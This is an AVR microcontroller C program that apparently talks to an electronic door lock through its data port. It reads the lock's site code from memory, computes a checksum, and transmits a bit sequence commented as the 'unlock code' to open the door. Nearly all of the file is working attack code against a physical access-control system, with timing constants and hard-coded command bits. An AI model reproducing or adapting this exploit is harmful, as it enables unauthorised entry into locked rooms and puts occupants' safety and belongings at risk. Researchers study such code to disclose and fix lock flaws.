#define F_CPU 14745600
#include <stdio.h>
#include <math.h>
#include <avr/io.h>
#include <avr/interrupt.h>
#include <avr/pgmspace.h>
#include <avr/delay.h>
#include <inttypes.h>
#include "../libnerdkits/uart.h"
unsigned int GetBitValue(unsigned char* array, int position);
void SetBitValue(unsigned char* array, int position, unsigned int value);
void SendZeroAndSyncPulse();
void SendOneAndSyncPulse();
#define COMMS_PIN PD3
#define PIN PIND
#define PINDIRECTION DDRD
#define INTPIN PCINT19
//defines to make things look a bit like the arduino sketch
#define delay(x) _delay_us(x)
#define pullLow() PINDIRECTION |= (1<<COMMS_PIN)
#define pullHigh() PINDIRECTION &= ~(1<<COMMS_PIN)
#define DELAYSYNC 18
#define ONELENGTH 10
#define BUFSIZE 25
unsigned char buf[BUFSIZE];
//bits to send to the door
unsigned char dbits[] = {0,0,0,0,0,0xA3,0xE0,0x21,0x13,0};
//door open bits that get populated with site code and checksum after reply from read memory
//organised in groups as that's how the lock wants them - even though we mostly index into these
//as if they're linear. Note that the groups vary in length so we have to take that into account later
unsigned char bits[][18] = {
{0,0,0,0,0,0xA2,0x62, 0x34, 0xBC, 0x38, 0xEF, 0xFC, 0, 0, 0, 0, 0, 0 },
{0,0,0,0,0,0,0},
{0,0,0,0,0,0,0},
{0,0,0,0,0,0,0},
{0,0,0,0,0,0,0},
{0,0,0,0,0,0,0},
{0,0,0,0,0,0,0},
{0,0,0,0,0,0,0},
{0,0,0,0,0,0,0},
{0,0,0,0,0,0,0},
{0,0,0,0,0,0x9A, 0xF2, 0x80}
};
//make sure PC4 does all the work
void digitialInit() {
//make PC3 output pin - just for an led
DDRC |= (1<<PC3);
//make pc5 an input pin - we'll use this to start the unlock process
DDRC &= ~(1<<PC5); // set PC5 as input
//turn on the pull up on pc5 so we'll ground it when we're good to go
PORTC |= (1<<PC5); // turn on internal pull up resistor for PC0
//we're using the external interrupt 1
EIMSK |= (1<<INT1);
//we need to trigger on the falling edge for external int 1
EICRA &= ~(1 << ISC10);
EICRA |= (1 << ISC11);
sei();
}
volatile unsigned char bval;
//interrupt handler for getting data back from the lock
//we're just going to set a volatile variable to 0 or 1
//for the data stream
ISR(INT1_vect){
bval = 1;
}
int main() {
//init the i/o pin
digitialInit();
//init the usart so we can monitor stuff
uart_init();
FILE uart_stream = FDEV_SETUP_STREAM(uart_putchar, uart_getchar, _FDEV_SETUP_RW);
stdin = stdout = &uart_stream;
//wait for PC5 to get pulled down - ground it to skip this
while((PINC & (1<<PC5)) >> PC5) {}
int i,j ,n;
for(i=0;i<sizeof(buf)*8;++i)
printf_P(PSTR("%d"), GetBitValue(buf, i));
printf_P(PSTR("\n\nSending data to the lock..\n"));
//bang data to door to read memory for site id
for(i=0 ; i < 76; ++i) {
unsigned int bit = GetBitValue(dbits, i);
if(bit>0) {
SendOneAndSyncPulse();
}
else {
SendZeroAndSyncPulse();
}
}
pullLow();
delay(DELAYSYNC);
pullHigh();
printf_P(PSTR("\n\nWaiting for reply...\n"));
bval = 0;
//wait for the lock to pull us low to say somethings happening
while((PIN & (1<<COMMS_PIN))) {}
//use the interrupt to get the data back - bval will be changed by the ISR
PORTC |= (1<<PC3);
delay(DELAYSYNC);
for(i = 0; i < 164; ++i) {
SetBitValue(buf, i, 0);
pullLow();
delay(8);
pullHigh();
bval = 0;
delay(194);
SetBitValue(buf, i, bval);
printf_P(PSTR("%d"),bval);
}
printf_P(PSTR("\n\nCalculating reply and checksum\n"));
//add the site code
for(i = 0; i < 32+3; ++i) {
SetBitValue(bits, 50+i, GetBitValue(buf, 22+i));
printf_P(PSTR("%d"), GetBitValue(buf, 22+i));
}
//compute checksum
for(i = 0; i < 8; ++i) {
SetBitValue(bits, 86+i, GetBitValue(bits, 50+i) ^ GetBitValue(bits, 50+9+i) ^ GetBitValue(bits, 50+18+i) ^ GetBitValue(bits, 50+27+i));
}
SetBitValue(bits, 86, GetBitValue(bits, 86) ^ 1);
SetBitValue(bits, 87, GetBitValue(bits, 87) ^ 0);
SetBitValue(bits, 88, GetBitValue(bits, 88) ^ 1);
SetBitValue(bits, 89, GetBitValue(bits, 89) ^ 1);
SetBitValue(bits, 90, GetBitValue(bits, 90) ^ 1);
SetBitValue(bits, 91, GetBitValue(bits, 91) ^ 0);
SetBitValue(bits, 92, GetBitValue(bits, 92) ^ 1);
SetBitValue(bits, 93, GetBitValue(bits, 93) ^ 1);
printf_P(PSTR("\n\nSending unlock code\n\n"));
delay(100);
//open the door (hopefully)
//take the varying group lengths into account
for(j = 0; j < 11; ++j) {
if(j == 0) {
n = 144;
}
else if(j == 10) {
n = 58;
}
else {
n = 49;
}
//access the bits to send by 2d array and base the length on knowing some
//stuff about row length because it's static data
for(i = 0; i < n; ++i) {
if(GetBitValue(bits[j], i) == 0) {
SendZeroAndSyncPulse();
}
else {
SendOneAndSyncPulse();
}
}
printf_P(PSTR("\n"));
delay(2500);
}
printf_P(PSTR("\n\nOpen Sasame?..."));
while(1){};
}
//given an array of chars which store bit flags grab a specific bit
unsigned int GetBitValue(unsigned char* array, int position) {
int idx = position / 8 ;
unsigned char bits = array[idx];
int bitIdx = 7 - position % 8;
unsigned char mask = 1u << bitIdx;
return (bits & mask)>0?1:0 ;
}
void SetBitValue(unsigned char* array, int position, unsigned int value) {
int idx = position / 8 ;
int bitIdx = 7 - position % 8;
unsigned char mask = value==0?0:1 << bitIdx;
array[idx] |= mask;
}
void SendZeroAndSyncPulse() {
pullLow();
delay(DELAYSYNC);
pullHigh();
delay(194); //rest of delay before next sync
printf_P(PSTR("0"));
}
void SendOneAndSyncPulse() {
pullLow();
delay(DELAYSYNC);
pullHigh();
delay(58); //write 1 bit
pullLow();
delay(ONELENGTH);
pullHigh();
delay(132-ONELENGTH); //rest of delay before next sync
printf_P(PSTR("1"));
}